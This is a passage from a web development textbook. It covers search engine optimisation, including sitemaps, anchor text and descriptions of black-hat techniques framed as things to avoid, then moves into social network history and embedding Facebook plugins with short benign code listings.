at this URL is updated. We can choose from: always, hourly, daily, weekly,
monthly, yearly, and never. Search engines can use this as a hint when
deciding which URLs to crawl next, although there is no way to force them to
do so. Finally, the <priority> element tells the search engine how important
we feel this URL is with values ranging from 0 to 1, with 1 being most
important.

Listing 23.8 Single page sitemap
<?xml version=“1.0” encoding=“utf-8”?>   

<urlset xmlns=“http://www.sitemaps.org/schemas/sitemap/0.9”> 

   <url>  

      <loc>http://funwebdev.com/</loc> 

      <lastmod>2013-09-29</lastmod> 

      <changefreq>weekly</changefreq> 

      <priority>1.0</priority> 

   </url> 

</urlset>

You may be thinking “sitemaps sound great, but I have hundreds of pages on
my site: it will take a long time to build this thing.” Thankfully there are tools
to generate sitemaps based on the structure of your site. Google's sitemap
generator bases your initial map on your server logs, while other commercial
tools parse your entire site. WordPress has plug-ins to generate maps, as do
most content management systems.



23.6.6 Anchor Text
One of the things that is definitely indexed along with backlinks is the anchor
text of the link. Anchor text is the text inside of <a> </a> tags, which is what
the user sees as a hyperlink. In the early web, many links said click here, to
direct the user toward what action to perform. These days, that use of the
anchor text is not encouraged, since it says little about what will be at that
URL, and users know by now to click on links.

The anchor text of a backlink is important since it says something about how
that website regards your URL. Two links to your homepage are not the same
if one's anchor text is “best company on the WWW” and the other “worst
company on the WWW.”

For this reason your hyperlinks should contain, as often as possible, anchor
text that describes the link. Links to a page of services and rates shouldn't say
“Click here to read more,” it should read “Services and Rates,” since the
latter has keywords associated with the page, while the former is too generic.

When participating in link exchanges with other websites, having them use
good anchor text is especially important. If a backlink to your site does not
use some meaningful keywords, the link will not help your ranking for those
keywords.

23.6.7 Images
Many search engines now have a separate site to search for images. The basic
premise is the same, except instead of HTML pages, the crawlers download
images.

Unlike an HTML page, with obvious text content, it is much more difficult to
index an image that exists as binary data. There are, however, some elements
of images that are readily indexed including the filename, the alt text, and any
anchor text referencing it.



The filename is the first element we can optimize, since like URLs in general
it can be parsed for words. Rather than name an image of a rose 1.png, we
should call it rose.png. Now a crawler will identify the image with the word
rose, which will help your image appear in searches for rose images.

It may be possible that you don't want your site's images to appear in image
search results. However, any optimization techniques that will increase your
image's ranking will likely have an impact on your site in general, especially
if your site sells roses!

The judicious use of the alt attribute in the <img> tag is another place where
some textual description of the image can help your ranking. The words in
this description are not only used by those with images disabled and those
with visual impairments, they also tell the search engines something more
about this image, which can impact the ranking for those terms.

Finally, the anchor text, like the text in URLs has a huge impact. If you have
a link to the image somewhere on our site, you should use descriptive anchor
text such as “full size image of a red rose,” rather than generic text “full
size.”

23.6.8 Content
It seems odd that content is listed as an SEO technique, when content is what
you are trying to make available in the first place. When we refer to content
in the SEO context, we are talking about the freshness of content on the
whole. To increase the visibility of your pages in search results, you should
definitely refresh your content as often as possible. This is because search
engines tend to prefer pages that are updated regularly over those who are
static.

To achieve refreshing content easily, there are several techniques available
that do not require actually writing new content! One of the benefits of Web
2.0 is that websites became more dynamic and interactive with two-way
mechanisms for communication rather than only one way. If your website
can offer tools that allow users to comment or otherwise write content on



your site, you should consider allowing it. These comments are then indexed
by search engines on subsequent passes, making the content as a whole look
“fresh.”

Entire industries have risen up out of the idea of having users generate
content, while the sites themselves are simply mechanisms to share and post
that content. Facebook, Twitter, MySpace, Slashdot, Reddit, Pinterest, and
others all build on the user-submitted content model that ensures their sites
are always fresh.

Security Note
Although allowing user-submitted content can benefit the freshness of your
web pages, be careful not to allow spammers to hijack your site to post links
and spam to sell their products. Most content management systems have
built-in validation mechanisms (such as CAPTCHA) to validate that
comments are legitimate. You must be sure the comments do not take away
from the primary theme of the site.



23.7 Black-Hat SEO
Black-hat SEO techniques are popular because at one time they worked to
increase a page's rank. In practice, these techniques are constantly evolving as
people try to exploit weaknesses in the secret algorithms. Remember, even
meta tags were at one time used to exploit search engine results. To be a
black-hat technique is not to be an immoral technique; it simply means that
Google and other search engines may punish or ban your site from their
results, thereby defeating the entire reason for SEO in the first place.

We advise you not to use black-hat optimization techniques for sites under
your control. However, you should be aware of the techniques so that you can
inform a client about why you cannot do certain things, and be
knowledgeable about what optimizations you are applying to your sites.

23.7.1 Content Spamming
Content spamming, as you will see, is any technique that uses the content of a
website to try and manipulate search engine results. Sites that engage in
content spamming are generally not for human consumption, and a nuisance
to search engines trying to return the actual best content for a search term.
Some techniques used in content spamming include keyword stuffing, hidden
content, paid links, and doorway pages.

Keyword Stuffing
Keyword stuffing is a technique whereby you purposely add keywords into
the site in a most unnatural way with the intention of increasing the affiliation
between certain key terms and your URL.

Since there is no upper limit on how many times you can stuff a keyword,
some people in the past have gone overboard. As keywords are added



throughout a web page, the content becomes diluted with them. Meaningful
sentences are replaced with content written primarily for robots, not humans.
Any technique where you find yourself writing for robots before humans, as a
rule of thumb, is discouraged.

Keyword stuffing can occur in the body of a page, in the navigation, in the
URL, in the title, in meta tags, and even in the anchor text. There must be a
balance between using enough keywords to show up for search terms, and
going too far. Ideally, we should include keywords in their most natural place
and try to emphasize them once or twice for emphasis.

Keyword stuffing was once an effective technique, but search engines have
taken countermeasures to punish the practice.

Hidden Content
Once people saw that keyword stuffing was effective, they took measures to
stuff as many words as possible into their web pages. Soon pages featured
more words unrelated to their topic than actual content worth reading. They
often used keywords that were popular and trending in the hopes of hijacking
some of that traffic. This caused problems for the actual humans reading
these sites, since so much content was useless to them. In response, the
webmasters, rather than remove the unwieldy content, chose to move it to the
bottom of their pages and go further by hiding it using some simple CSS
tricks. By making blocks of useless keywords the same color as the
background, sites could effectively hide content from users (although you
could see the words if you highlighted the “blank space”). While immensely
effective in early search engine days, this technique was detected and
punished so that using it today will likely result in complete banishment from
Google's indexes.

Paid Links
Many clients fail to see the problem with this next category of banned



techniques, since it seems to be supported throughout the web. Buying paid
links is frowned upon by many search engines, since their intent is to
discover good content by relying on referrals (in the form of backlinks).
Allowing people to buy links circumvents the spirit of backlinks, which
search engines originally interpreted as references, like in the publishing
world. Citations, like those that appear in this book, are one measure of the
quality of a published work. Allowing citations to be purchased would be
frowned upon for similar reasons of circumventing their intent as honest,
organic references to relevant materials.

Purchased advertisements on a site are not considered paid links so long as
they are well identified as such, and are not hidden in the body of a page.
Many link affiliated programs (like Google's own AdWords) do not impact
PageRank because the advertisements are shown using JavaScript.

Doorway Pages
Doorway pages are pages written to be indexed by search engines and
included in search results. Doorway pages are normally terribly written; they
are automatically generated pages crammed full of keywords, and effectively
useless to real users of your site. These doorway pages, however, link to your
home page, which you are trying to boost in the search results. Automatically
writing content, just to be indexed and then redirect to a real page is a
technique designed to game results, with no benefit to humans.

Google publicly outed J.C. Penney and BMW for using doorway pages in
2006.10 The punishment handed down by Google was a “corrective action”
(although the dreaded blacklisting—complete removal from search index—
was a possibility). The risk of being banned is real, and unlike J.C. Penney or
BMW, small webmasters will likely not be able to convince Google to
remove the blacklisting.

23.7.2 Link Spam



Since links, and backlinks in particular, are so important to PageRank, and
how search engines determine importance, there are a large number of bad
SEO techniques related to links. Many of these techniques have spawned
entire industries and categories of software.

Hidden Links
Hidden links are as straightforward as hidden content. With hidden links
websites hide the color of the link to match the background, hoping that real
users will not see the links. Search engines, it is hoped, will follow the links,
thus manipulating the search engine without impacting the human reader.

In practice these hidden links are somewhat visible, although spammers are
able to hide them with additional CSS properties. Once a hidden link has
been detected by Google, it could result in a banishment from the search
results altogether. Any link worth having should be valuable to the human
readers, and thus not be hidden.

Comment Spam
On most modern Web 2.0 sites, there is an ability to post comments or new
threads with content, including backlinks. Although many engines like
WordPress and Craigslist automatically mark all links with nofollow (thus
neutralizing their PageRank impact), many other sites still allow unfiltered
comments.

When you first launch a new website, going out to relevant blogs and posting
a link is not a bad idea. After all you want people who read those blogs to
potentially follow a link to your interesting site.

Since adding actual comments takes time, many spammers have automated
the process and have bots that scour the web for comment sections, leaving
poorly auto-written spam with backlinks to their sites. These automatically
generated comments (comment spam) are bad since they are not of quality,
and associate your site with spam. If you have a comment section on your



site, be sure to similarly secure it from such bots, or risk being flagged as a
source of comment spam.

Link Farms
The next techniques, link farms and link pyramids, often utilize paid links to
manipulate PageRank. There are more impactful, cost-effective ways to get
more ranks to increase the ranking of your site, but using a network of
affiliate sites is regarded as a black-hat practice.

A link farm is a set of websites that all interlink each other as shown in
Figure 23.12 . The intent of these farms is to share any incoming PageRank
to any one site with all the sites that are members of the link farm. Link farms
can seem appealing to new websites since they redistribute PageRank from
existing sites to new sites that have none. However, they are seen to distribute
ranking in an artificial way, which goes against the spirit of having links that
are meaningful and organic. Spam websites often participate in link farms to
benefit from the redistribution of rank, so participation in such farms is
discouraged.

Figure 23.12 A five-site link



farm with rank equally
distributed

Figure 23.12 Full Alternative Text

Link Pyramids
Link pyramids are similar to link farms in that there is a great deal of
interlinking happening to sites in the pyramid. Unlike a link farm, a pyramid
has the intention of promoting one or two sites. This is achieved by creating
layers in the pyramid, and having sites in the same layer link to one another,
and then pages in the layer above. At the top of the pyramid are the one or
two sites that are the primary beneficiaries of the scheme.

This technique definitely works as illustrated in Figure 23.13 where the
PageRank of the pyramid after two iterations shows a concentration at the
top. As appealing as this is, search engines try to detect these pyramids and
downplay or negate their influence.



Figure 23.13 PageRank
distribution in a link pyramid
after two iterations

Figure 23.13 Full Alternative Text

To execute this strategy, many domains and pages must be under the site's
control, and those pages are probably filled with bad content, all of which
goes against the spirit of making useful content on the WWW. If the page at
the top of a search is not really the best page for those terms, then there is
room for other search engines to come in and do a better job. This is why
Google and others endeavor to combat these black-hat techniques.

Google Bombing
Google bombing is the technique of using anchor text in links throughout the
web to encourage the search engine to associate the anchor text with the
destination website. It can be done to promote a business, although it is often
used for humorous effect to lampoon public figures. In 2006, webmasters
began linking the anchor text “miserable failure” to the home page of then
president George W. Bush. Soon, when anyone typed “miserable failure” into
Google, the home page of the White House came up as the first result.
Although Google addressed some of these Google bombs, searches on other
engines still return the gamed results.

23.7.3 Other Spam Techniques
Although content and link spam are the prevalent black-hat techniques for
manipulating search engine results, there are some techniques that defy
simple classification. Like the other black-hat SEO techniques, using these
could get your site banned from Google.



Google Bowling
Google bowling is a particularity dirty and immoral technique since it
requires masquerading as the site that you want to weaken (or remove) from
the search engine results. After identifying the target site, black-hat
techniques are applied as though you were working on their behalf. This
might include subscribing to link farms, keyword stuffing, commenting on
blogs, and more.

“Why would I help my competitor with SEO techniques?” you might ask.
Well the last step of Google bowling is reporting the competitors' website to
Google for all the black-hat techniques they employed so that they can be
punished and potentially blacklisted! Google being so large cannot
investigate every request, but if the site is found to have violated their terms,
it might be removed, resulting in one less competitor for those keywords.
Even if the site appeals the delisting, it is very difficult to trace Google
bowling back to you. That being said, intentionally targeting a company to
delist them could make you liable for lost business, so it is an especially bad
idea to pursue these tactics.

Cloaking
Cloaking refers to the process of identifying crawler requests and serving
them content different from regular users. The user-agent header is the
primary means of identifying crawler agents, which means a simple script can
redirect users if googlebot is the user-agent to a page, normally stuffed
with keywords.

A legitimate use of cloaking is redirecting users based on characteristics of
their OS or browser (redirecting to a mobile site is a common application).
Serving extra and fake content to requests with a known bot user-agent
header can get you banned. Google occasionally crawls using a “regular”
user-agent and compares output from both crawls to help identify cloaked
pages.



Duplicate Content
Having seen how easily a scraper and a crawler can be written, it's no wonder
that a great deal of content is downloaded and mirrored on short-lived sites,
in contravention of copyright, and ethical standards. Stealing content to build
a fake site can work, and is often used in conjunction with automated link
farms or pyramids. Search engines are starting to check and punish sites that
have substantially duplicated content.

Interestingly, it may be difficult to prove who authored content first, since the
first page crawled may not be the originator of the material. To attribute
content to yourself use the rel=author attribute.11 Google has also
introduced a concept called Google authorship through their Google+
network to attribute content to the originator. This new technique is thought
to have an impact on ranking.

Other ways that search engines can detect duplicate content is when you have
several versions of a page, for example, a display and print version. Since the
content is nearly identical, you could be punished for having duplicate pages.
To prevent being penalized and make search engines more aware of
potentially duplicate content, you can use the canonical tag in the head
section of duplicate pages to affiliate them with a single canonical version to
be indexed. An illustration of this concept is shown in Figure 23.14 .



Figure 23.14 Illustration of
canonical URLs and
relationships
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23.8 Chapter Summary
In this chapter we have covered the history and anatomy of search engines.
Despite their simple appearance, search engines are in fact composed of
several components. Crawlers, scrapers, indexers, and query engines all work
together to deliver search engine results. PageRank, the predecessor to the
algorithms used today, was also explored in depth. Search engine
optimization, being of growing importance to websites of all sizes, was
covered, with specific techniques to use to address your page's rank in search
results. White-hat techniques such as optimizing title, meta tags, content, and
URLs improve the indexing of our site in an acceptable manner. The last part
of the chapter covered black-hat SEO techniques, which should be avoided
since they can get a website banned from search engine results.

23.8.1 Key Terms
ad hoc links

anchor text

backlinks

black-hat SEO

canonical

cloaking

comment spam

content spamming

database engine
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dot product
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email scrapers
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Google bombing
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Hamming distance

hidden links

indexes
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metaphone

navigation links

PageRank

paid links

prioritization



query server

recurring links

reverse index
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truncating a URL

URL scrapers

web crawlers
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white-hat SEO

23.8.2 Review Questions
1. 1. How did people search the WWW before Google?

2. 2. List the components of a search engine.

3. 3. What is the difference between a scraper and a crawler?

4. 4. What type of information is indexed about your site?



5. 5. Do crawlers identify themselves to your site? How? What techniques
are involved in autocorrecting search queries?

6. 6. What is a sitemap? How can a web page be represented a
multidimensional vector for comparison purposes?

7. 7. How can you control what appears in search engine results about your
site?

8. 8. Why is the anchor text so important to SEO?

9. 9. What are some characteristics of search engine-friendly URLs?

10. 10. How are meta tags used to control web crawlers?

11. 11. Why is hiding text on your page counterproductive?

12. 12. What is the simplified PageRank formula?

13. 13. What is a rank sink?

14. 14. How do spammers hijack search results to send traffic to their
websites?

15. 15. Why is duplicating content found elsewhere a bad idea?

23.8.3 Hands-On Exercises

Project 1: Optimize the Art Store
Site for Search Engines

Difficulty Level: Easy



Overview
This project builds on your Art Store site, and integrates white-hat SEO
techniques to try and improve your rank. Without a real site on a live domain,
the impact of SEO cannot be measured, so if you have a live site of your
own, feel free to use it.

Hands-on Exercises
Project 23.1

Instructions
1. Begin your SEO by focusing on the <title> tag. Each page should have

a unique title that reflects its content. You PHP code should be able to
build a title string using an Artwork's title for example as illustrated in
Figure 23.15 .



Figure 23.15 Annotated
screenshot of some of the
SEO considerations to
implement



Figure 23.15 Full Alternative Text

2. If you have not already, ensure all your images have alternate and title
text that is generated based on the information about the image. This
way, search engines will associate that text with the image, and thus
your website.

3. Check the links in the navigation section of the page to make sure they
all use good anchor text.

4. Determine how many links you have going out to other domains. Try to
reduce this number if possible.

5. Have you adopted “directory style” URLs? If not, consider migrating
from query strings to directories using Apache redirect directives.

6. Create meta tags for keywords and description for all your pages.

7. Finally, revisit your content to ensure it is descriptive enough and has
enough keywords to be properly indexed.

Test
1. Visit your home page with JavaScript turned off to see what the crawler

will see.

2. If you own the domain, submit your site to search engines and sign up
for webmaster tools to track your traffic.

3. Check your logs to see if more referrals are coming from search engines
after your changes (it may take a few months for changes to be reflected
in the index).

Project 2: Define a Sitemap for



Your Travel Photo site

Difficulty Level: Intermediate

Overview
Although Google offers free tools to build site maps, they are based on traffic
records in your access logs. A new site will not have those logs and could
still benefit from a sitemap. This project has you build custom sitemaps for
the Travel Photo Sharing project, but could easily be extended to all three
projects.

Hands-on Exercises
Project 23.2

Instructions
1. Identify the categories of page you want to include in your sitemap. This

might include pages for each artwork, artists, gallery, and genre.

2. For each category of page considers what its relative priority will be (1
is important, 0.1 is not important). We suggest galleries and artist pages
be weighted higher than individual artwork pages, for example.

3. Write a PHP script to pull data out of your database and for each link,
output XML for the sitemap. Your final sitemap will look something
like the listing below, with of course more details and far more entries.

<?xml version=“1.0” encoding=“UTF-8”?>

<urlset xmlns=“http://www.sitemaps.org/schemas/sitemap/0.9”>



<url>

   <loc>http://art.funwebdev.com/Artists/Pablo Picasso</loc>x

   <priority>0.5</priority>

</url>

<url>  

   <loc>http://art.funwebdev.com/Artists/Pablo+Picasso/01010</loc>

   <priority>0.2</priority> </url>

<url>  

   <loc>http://art.funwebdev.com/Artists/Pablo+Picasso/01030</loc>

   <priority>0.2</priority>

</url>

…

<url>

   <loc>http://art.funwebdev.com/Galleries/Prado+Museum</loc>

   <priority>0.3</priority> 

</url> 

<url>

   <loc>http://art.funwebdev.com/Galleries/Uffizi+Museum</loc>

   <priority>0.3</priority>

</url>

…

</urlset>

Test
1. Validate your sitemap is XML compliant.

2. Submit your sitemap to Google (if your site is live and real).

3. Optionally have your sitemap regenerated every day using a cron job so
that updates are always reflected in your sitemap.

Project 3: Crawl Your Own Website

Difficulty Level: Advanced

Overview



Indexing your own site is a great exercise to analyze what your site structure
is. This helps give you a sense of how search engines will see it. Unlike the
sitemap, this is not the internal, ideal structure, but rather the actual one. The
target for this exercise is not important, but be certain you own the domain
we are testing on, since we will be requesting essentially every HTML page
in the site.

Hands-on Exercises
Project 23.3

Instructions
1. Begin with a crawler similar to that described in the “write a crawler”

lab exercise. It will identify links and email addresses.

2. Modify the crawler so that it only indexes URLs and email links from
your domain.

3. Store this crawler data (URL, links out, links in, emails) into a database.

4. Crawl any identified external URLs only once, and only to confirm the
link is valid (do no indexing outside your domain).

5. Once every page has been crawled, compile some statistics on which
pages have the most links out and links in. Hopefully the top pages are
your home pages and pages in your navigation. If not, you may have to
correct errors in your site's structure.

6. Identify and output any external URLs that could not be accessed (bad
links).

7. Calculate an internal page rank for every page in your site—thus
quantifying the importance of a page.



8. Optionally, use these rankings in the priority field of your sitemaps from
Project 23.2.

23.8.4 References
1. 1. OXFORD ENGLISH DICTIONARY 2ND EDITION edited by

Simpson and Weiner (1989). Definition of “google.” By permission of
Oxford University Press. [Online]. http://oxforddictionaries.com/
definition/english/google.

2. 2. Google, “Our History In Depth.” [Online]. http://www.google.ca/
about/company/history/.

3. 3. M. Koster, “ALIWEB—Archie-Like indexing in the WEB,”
Computer Networksand ISDN Systems, Vol. 27, No. 2, November 1994.

4. 4. M. Koster, “Robots Exclusion.” [Online]. http://www.robotstxt.org/.

5. 5. L. Page, S. Brin, R. Motwani, T. Winograd, “The PageRank Citation
Ranking: Bringing Order to the Web,” Technical Report, Stanford
University, 1998.

6. 6. Google, “Search Engine Optimization Starter Guide.” [Online]. http://
static.googleusercontent.com/external_content/untrusted_dlcp/
www.google.com/en//webmasters/docs/search-engine-optimization-
starter-guide.pdf.

7. 7. Philips, L. (2000). The double metaphone search algorithm. C/C++
users journal, 18(6), 38-43.

8. 8. sitemaps.org, “Sitemap Schemas.” [Online]. http://www.sitemaps.org/
schemas/sitemap/0.9/.

9. 9. D. Segal, “Search Optimization and Its Dirty Little Secrets.” [Online].
http://www.nytimes.com/2011/02/13/business/13search.html?
pagewanted=all&_r=0.

http://oxforddictionaries.com/definition/english/google
http://www.google.ca/about/company/history/
http://www.robotstxt.org/
http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en//webmasters/docs/search-engine-optimization-starter-guide.pdf
http://sitemaps.org
http://www.sitemaps.org/schemas/sitemap/0.9/
http://www.nytimes.com/2011/02/13/business/13search.html?pagewanted=all&_r=0


10. 10. Google, “Link Your Content to a Google+ Profile.” [Online]. http://
support.google.com/webmasters/bin/answer.py?
hl=en&answer=2539557&topic=2371375&ctx=topic.

11. 

http://support.google.com/webmasters/bin/answer.py?hl=en&answer=2539557&topic=2371375&ctx=topic


24 Social Networks and Analytics



Chapter Objectives
In this chapter you will learn …

About the history of social networking

How to easily integrate social media into sites

How to work with advertisements and marketing campaigns

How analysis can improve your sites

By this point you've seen enough technology to create your own Facebook-
or Twitter-style site from scratch! Despite that capability, integrating with
existing social networks lets you leverage the millions of people already
engaged with these networks, and it's far easier. You will learn about simple
ways anyone can integrate social media as well as integration with
advertising services. The realities of web marketing, advertisement
integration, and analytics complete the chapter, leaving you prepared with a
firm basis in all of the fundamentals of web development.



24.1 Social Networks
Social networks are web-based systems designed to bring people together by
facilitating the exchange of text snippets, photos, links, and other content
with other users. Famous networks include Facebook, Twitter, MySpace,
LinkedIn, and Google+, among a sea of others. Each platform aims to
become the ubiquitous social network everyone uses, but each offers different
features and implements things differently. While you may be aware of social
networking, you may not be aware of the various ways you can integrate
these sites into your own web applications.

24.1.1 How Did We Get Here?
Social networks are an area of study that predate digital social networking
platforms and even the WWW. The study of the interactions between people,
and even societies, takes inspiration from many disciplines to provide context
for the study of human relationships. Understanding that humans are social
creatures with social connections (that can be viewed as networks) helps
explain the success of digital social networking, since it is a digital
manifestation of an existing social construct.

The famous six degrees of separation concept that states we are all connected
to one another by at most six introductions, illustrated in Figure 24.1 ,
originates not in computer science but in the mind of psychologist Stanley
Milgram.1 The modern study of social networks draws from psychology,
sociology, graph theory, and computer science to build social network
analysis tools that can be used to study complex relationships in the real
world including the degrees of separation question.



Figure 24.1 Illustration of six
degrees of separation

Figure 24.1 Full Alternative Text

Early Digital Networking
Recalling all the way back to Chapter 1, you learned that the telegram, mail,
and telephone were used by people long before the invention of the computer
networks. While social networking existed in those times, it had to be done in



person, or through the aforementioned media of private correspondence,
telegraph, and telephone.

Email, the most popular and long-standing new communication technique, is
relatively private, with the management of your email social network done
through the management of conversations. Additional mechanisms such as
CC fields and mailing lists introduce more social aspects (as illustrated in
Figure 24.2 ), but being private correspondents, your contacts are not visible
to people you email. Surviving to this day, email remains an essential tool for
the human social networker but does not lend itself well to sharing, since you
would not normally want to share all your private correspondence.

Figure 24.2 Illustration of email
social networks



Figure 24.2 Full Alternative Text

The first open-spirited means of digital communication were bulletin board
systems (BBS). BBS existed either as dial-up systems you could log in to or
the popular USENET groups, which allowed people to upload comments to a
thread, which other users could then download and respond to. Unlike email,
these systems were wide open and all communication was visible to anyone,
akin to the post-it boards they aimed to duplicate. BBS are still popular today
with open-source PHP-based tools like phpBB, but lack any privacy from the
world as a whole. Certainly there are some things you would write in a
private email you would not share on a public board.

The problem with the networks of email and bulletin board is that neither
approximates the real-world networks we naturally maintain. That is, in a
natural social network, I might come to know my friends' friends by
happenstance, whereas neither BBS nor email supports that type of accidental
interaction in a social context. Introductions of friends to other friends are
deliberate in email (done via a CC, for example). Conversely, bulletin boards
are too public, and do not simulate real networks where there are
opportunities for privacy.

The Evolution of Social Networks
Between public services like BBS and private systems like email, there is a
gap in services, which social networking sites aim to fill. The idea was seized
upon by many companies and continues to be a busy space for competitive
new startups. Like email-enabled social networks, connections exist as
messages, but also as pictures, comments, links, and other objects as shown
in Figure 24.3 .



Figure 24.3 Social network
connection via multiple media,
categories, and public
broadcasts

Figure 24.3 Full Alternative Text

Social networks also allow relationships with no communication, and a
public area for unrestricted broadcast messages from anyone (which might
manifest as public comments on a website, for example). In addition, your



contact lists are normally visible to everyone you know since that's the
essence of how you find new connections.

Early social networks adopted the concept of the user profile, and some
ability to manage collections of contacts. Friendster, MySpace, LinkedIn, and
Bebo all launched in the early 2000s, and by 2004 Flickr, Digg, and
Facebook were in existence. The gold rush started in 2005 when MySpace
was sold for $580 million. The next few years saw an explosion in social sites
including Tumblr, Twitter, WordPress, Reddit, Yammer, Google+, and
Pinterest, to name but a few. Even as you read this sentence, someone is no
doubt working on the next big social network since the stakes are so high.

As of August 2013, Facebook claims to have over 1 billion unique users and
several other services have over 100 million including Twitter and Google+.
While the discipline is still relatively young, these three have emerged as key
players. All three are relatively friendly to developers, and are therefore
covered in this edition of the book.

24.1.2 Common Characteristics
Although the details about what to share and how to share it vary from
platform to platform, there are some key characteristics of every social media
site. Although each of the popular services handles these issues in a different
way, there are some clear insights about how these software systems manage
social connections in general.

It is worth noting that social networks, unlike open systems like email,
HTTP, and BBS, are closed-source systems (sometimes called a walled
garden) that manage everything in-house, from the user management to the
advertising and server hosting. This overarching commercial interest
manifests in the way these sites share their API and data with developers.
Social networks include the following characteristics.

Free Registration



Free registration (no cost to sign up) is essential for social platforms since
they require many users, and the best way to attract them is to make it free.
You can offset the cost by integrating registrants with existing social media
profiles (through OAuth, for example), although it's normal to manage your
own.

User Profile Page
Everyone has something to say about themself, and every social service
provides a place to say it. This can range from Twitter's brief 140-character
blurb all the way through LinkedIn's space for a complete resume including
work experience, publications, and awards. These pages are often associated
with nice URLs you are encouraged to share as your own personal home
page.

Hands-on Exercises Lab 24
Exercise
Set Up Social Media Accounts

Manage Contacts
Unlike email, social networks do not require a correspondence between
people in order to establish communication. There are at least two models of
establishing a contact in a social media site: one-way and reciprocal.

One-way contact is when you alone need to act to add someone to your list.
In Twitter, following someone is as easy as hitting the Follow button.
Whether these lists are public or private depends on the social network. One-
way contacts are akin to the one-way social connection where many people
follow a celebrity or politician's words, but they do not reciprocate.



Reciprocal contact requires both parties to agree that there is a contact before
building the connection. Facebook and LinkedIn both adopted this policy for
contacts, which ensures a higher quality of connection, since both parties
must know one another (or be convinced to accept).

Using contacts and profiles together, a social network begins to approximate
the real social circles shown back in Figure 24.1 . The challenge is managing
the balance between public and private connections so that the world's
network of connections cannot be so easily navigated (although some would
argue that easy navigation should be the goal).

Beyond the Portal API
Increasingly, social networks are seeing the value of opening their platforms
to developers, who can then do everything from simple authentication, all the
way to more integrated services like news sharing, chatting, and more.

Monetization
Because these sites have to pay for the disk space and bandwidth to support
all the free users, many sites have found a way to monetize the site. Most
sites monetize by selling advertisement space, or by selling data about their
users. Premium services or goods are an additional common way to monetize
a site.



24.2 Social Network Integration
Building a social media presence is designed to be easy for the nontechnical
person, and the tools for getting started are generally self-evident and
straightforward. This section briefly describes some strategies to get your
social media presence started so you can take on more advanced projects
later. All the networks require you to have a presence before you can create a
custom app, for example.

24.2.1 Basic Social Media Presence
The ability to have a presence on the WWW is not trivial (as the 24 long
chapters in this book can attest), especially for people with no skill or desire
to learn about web technologies. Social media provides exactly that
opportunity, and lowers the barriers to entry for people who would never
want to maintain an HTML page.

Hands-on Exercises Lab 24
Exercise
SN Home Pages

Home Pages
Almost every person, company, hobby, or group wants or needs a home page
somewhere on the web, and a social network presence provides a presence
that is easy to set up and manage, even for nontechnical people. All social
networks provide at least one page, say your profile page, while others allow
you to create multiple pages, all within their platform. For this book we



created a Facebook page and Google+ page in under 5 minutes as shown in
Figure 24.4 .



Figure 24.4 Screenshots of
Google+ and Facebook pages
for this textbook

Figure 24.4 Full Alternative Text

Links and Logos
Your page comes with a URL, which is normally professional enough
looking that you could use it as your primary web page on the WWW. The
next step is to link to these pages from your existing site, and perhaps
elsewhere such as your email footer and business cards, often using logos
from the social network itself. Whether it be Google, Twitter, Facebook,
LinkedIn, or another, creating a link to your presence is a straightforward
way to associate with a social network.

URL Shortening
In social networks like Twitter (where every communication is limited to 140
characters), shorter URLs are preferable to long URLs, since they leave more
room for other content.

To address this potential challenge, Twitter includes a built-in URL
shortening service with your account so that URLs are automatically
shortened when you post. Popular ones from the other major players include
t.co, goo.gl, bit.ly and ow.ly.

These services add a crucial step in between clicks and the ultimate
destination, your URL. As illustrated in Figure 24.5 , they provide an
opportunity for the third party to collect statistical click data, and may



prevent the links from working, if the host ever goes down. Malicious URL-
shortening services can also sell the URLs to other parties, turning potential
traffic for you into traffic for another company (often a few weeks after you
create the link, so that it works as expected for a while).

Figure 24.5 Illustration of a
URL shortening service

Figure 24.5 Full Alternative Text

Beyond the basic social media presence anyone might have, the major social
networks have long been trying to expand their reach beyond their own web
portals onto regular websites in the form of easy-to-use plugins, which
anyone can deploy. You will next learn a little about Twitter, Facebook, and
Google+ plugins in the following sections. These plugins (sometimes called
widgets) allow you to integrate functionality from the social network directly
into your site by simply adding some JavaScript code to your pages.



24.2.2 Facebook's Social Plugins
Facebook's social plugins include a wide range of things you've probably
seen before including the Like button, an activity feed, and comments. For
any of the plugins, you will have to choose between HTML5, the Facebook
Markup Language (XFBML), or an <iframe> implementation. You will also
have to learn a little about the Open Graph API, which defines a semantic
markup you can use on your pages to make them more Facebook-friendly
(it's also used by Google+).

We will describe how to add a plugin to your page, and how the use of that
plugin results in newsfeed stories on a person's Facebook profile as shown in
Figure 24.6 .



Figure 24.6 Relationship
between a plugin on your page
and the resulting Facebook
newsfeed items

Figure 24.6 Full Alternative Text

Register and Plugin
To include the Facebook libraries in your website in the long term, you will
have to first register as a developer and get an application ID. Going back to
Chapter 18 on security, you might recall how public and private keys are
used for authentication and validation. Using your APP_ID, you can then
include Facebook's JavaScript libraries by placing the code from Listing 24.1
in your webpage. Notice that it created a FB object that allows your
JavaScript code to interact with Facebook plugins. Since the loading of the
plugin is asynchronous, your users will not have to wait for a response from
Facebook before loading your page.

The details of getting an application ID are straightforward. Log in to
Facebook and check out https://www.facebook.com/FacebookDevelopers to
get started.

Like Button
With the Facebook classes loaded in JavaScript, you can take advantage of
the Facebook classes' power to automatically parse your HTML page for
certain tags, and replace them with common plugins (so long as the xfbml
field is set to true when initializing the FB object). The Like button, being the



most widely used, can be included simply by defining a <div> element with
the class fb-like, and some other custom attributes as shown in Listing 24.2.



Listing 24.1 Including Facebook JS
API and creating a FB object to
enable plugins with journey
$(document).ready(function() {    

   $.ajaxSetup({ cache: true });    

   $.getScript('//connect.facebook.net/en_UK/all.js', function(){  

      FB.init({appId:  APP_ID,  

             status:true,      //status: check fb login

             xfbml:true             //parse for FB plugins 

      });  

      $('#loginbutton,#feedbutton').removeAttr('disabled');      

      FB.getLoginStatus(updateStatusCallback);    

   });  

});

Note
You might be saying, “but I don't want an app, I just want to add a simple
Like button.”

All social networks use some nomenclature to describe their plugins and
processes to secure their relationships with developers. Public and private
token registration will enable OAuth and other functionality under the hood,
so it's worth “creating an app” or “registering a widget.”

When the page loads and the FB object parses the page, it will see the DOM
object with class fb-like and use JavaScript to embed the familiar Like
button as shown in Figure 24.7 .



Figure 24.7 Screenshot of the
Facebook Like social plugin

Figure 24.7 Full Alternative Text

Listing 24.2 HTML5 markup to
insert a Like button on your page
<div class=“fb-like”  

   data-href=“http://funwebdev.com”  

   data-width=“450”  

   data-show-faces=“true”  

   data-send=“true”> 

</div>

XFBML Version
Although the HTML5 version of the Facebook Like widget works fine,
Facebook limits customization of various aspects to its own eXtended
Facebook Markup Language (XFBML) version of the widget. The identical
